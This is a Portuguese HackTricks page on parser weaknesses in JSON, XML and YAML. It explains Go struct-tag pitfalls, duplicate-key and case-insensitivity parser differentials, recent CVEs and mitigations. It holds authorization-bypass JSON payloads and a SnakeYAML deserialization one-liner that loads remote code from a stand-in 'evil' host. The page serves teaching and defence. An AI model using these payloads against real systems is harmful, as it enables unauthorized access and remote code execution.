JSON, XML & Yaml Hacking & Issues

Reading time: 6 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Go JSON Decoder

Os seguintes problemas foram detectados no JSON do Go, embora possam estar presentes em outras linguagens também. Esses problemas foram publicados em this blog post.

Os parsers JSON, XML e YAML do Go têm uma longa trilha de inconsistências e padrões inseguros que podem ser abusados para bypass authentication, escalate privileges, ou exfiltrate sensitive data.

(Un)Marshaling Unexpected Data

O objetivo é explorar structs que permitem a um atacante ler/escrever campos sensíveis (por exemplo, IsAdmin, Password).

  • Struct de exemplo:
go
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin  bool   `json:"-"`
}
  • Vulnerabilidades Comuns
  1. Missing tag (no tag = field is still parsed by default):
go
type User struct {
Username string
}

Payload:

json
{"Username": "admin"}
  1. Uso incorreto de -:
go
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}

Payload:

json
{"-": true}

✔️ Maneira correta de bloquear um campo para que não seja (un)marshaled:

go
type User struct {
IsAdmin bool `json:"-"`
}

Diferenças entre parsers

O objetivo é contornar a autorização explorando como diferentes parsers interpretam o mesmo payload de forma diferente, como em:

  • CVE-2017-12635: Apache CouchDB bypass via chaves duplicadas
  • 2022: Zoom 0-click RCE via inconsistência do parser XML
  • GitLab 2025 SAML bypass via peculiaridades do XML

1. Campos duplicados: O encoding/json do Go considera o último campo.

go
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction

Outros parsers (por exemplo, Java’s Jackson) podem escolher o primeiro.

2. Insensibilidade a maiúsculas/minúsculas: Go é insensível a maiúsculas/minúsculas:

go
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field

Até truques com Unicode funcionam:

go
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)

3. Incompatibilidade entre serviços:
Imagine:

  • Proxy escrito em Go
  • Serviço AuthZ escrito em Python

Atacante envia:

json
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
  • Python vê UserAction, permite
  • Go vê AdminAction, executa

Confusão de Formato de Dados (Polyglots)

O objetivo é explorar sistemas que misturam formatos (JSON/XML/YAML) ou que falham abertamente em caso de erros de parser como:

  • CVE-2020-16250: HashiCorp Vault analisou JSON com um parser XML depois que o STS retornou JSON em vez de XML.

O atacante controla:

  • O cabeçalho Accept: application/json
  • Controle parcial do corpo JSON

O parser XML do Go o analisou de qualquer forma e confiou na identidade injetada.

  • Payload criado:
json
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}

Resultado:

  • Go JSON parser: Action_2 (insensível a maiúsculas/minúsculas + o último prevalece)
  • YAML parser: Action_1 (sensível a maiúsculas/minúsculas)
  • XML parser: analisa "Action_3" dentro da string

Vulnerabilidades notáveis de parser (2023-2025)

As seguintes falhas exploráveis publicamente mostram que o parsing inseguro é um problema entre várias linguagens — não apenas um problema do Go.

SnakeYAML Deserialization RCE (CVE-2022-1471)

  • Afeta: org.yaml:snakeyaml < 2.0 (usado por Spring-Boot, Jenkins, etc.).
  • Causa raiz: new Constructor() desserializa classes Java arbitrárias, permitindo cadeias de gadgets que culminam em execução remota de código.
  • One-liner PoC (abrirá a calculadora na máquina vulnerável):
yaml
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
  • Correção / Mitigação:
  1. Atualize para ≥2.0 (usa SafeLoader por padrão).
  2. Em versões antigas, use explicitamente new Yaml(new SafeConstructor()).

libyaml Double-Free (CVE-2024-35325)

  • Afeta: libyaml ≤0.2.5 (biblioteca C utilizada por muitas language bindings).
  • Problema: Chamar yaml_event_delete() duas vezes causa um double-free que atacantes podem transformar em DoS ou, em alguns cenários, heap exploitation.
  • Status: Upstream rejeitou como “API misuse”, mas distribuições Linux lançaram 0.2.6 com patch que libera o ponteiro para NULL defensivamente.

RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)

  • Afeta: Tencent RapidJSON antes do commit 8269bc2 (<1.1.0-patch-22).
  • Falha: Em GenericReader::ParseNumber() aritmética sem verificação permite que atacantes criem literais numéricos enormes que fazem wrap-around e corrompem o heap — possibilitando, em última instância, privilege-escalation quando o grafo de objetos resultante é usado para decisões de autorização.

🔐 Mitigações (Atualizadas)

RiscoCorreção / Recomendação
Campos desconhecidos (JSON)decoder.DisallowUnknownFields()
Campos duplicados (JSON)❌ Sem correção na stdlib — valide com jsoncheck
Correspondência case-insensitive (Go)❌ Sem correção — valide tags de struct + pré-canonicalize a entrada
XML garbage data / XXEUse um parser reforçado (encoding/xml + DisallowDTD)
Chaves desconhecidas (YAML)yaml.KnownFields(true)
Unsafe YAML deserializationUse SafeConstructor / atualize para SnakeYAML ≥2.0
libyaml ≤0.2.5 double-freeAtualize para 0.2.6 ou para a release distro-patched
RapidJSON <patched commitCompile contra a versão mais recente do RapidJSON (≥July 2024)

Veja também

Mass Assignment Cwe 915

Referências

  • Baeldung – “Resolving CVE-2022-1471 With SnakeYAML 2.0”
  • Ubuntu Security Tracker – CVE-2024-35325 (libyaml)

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks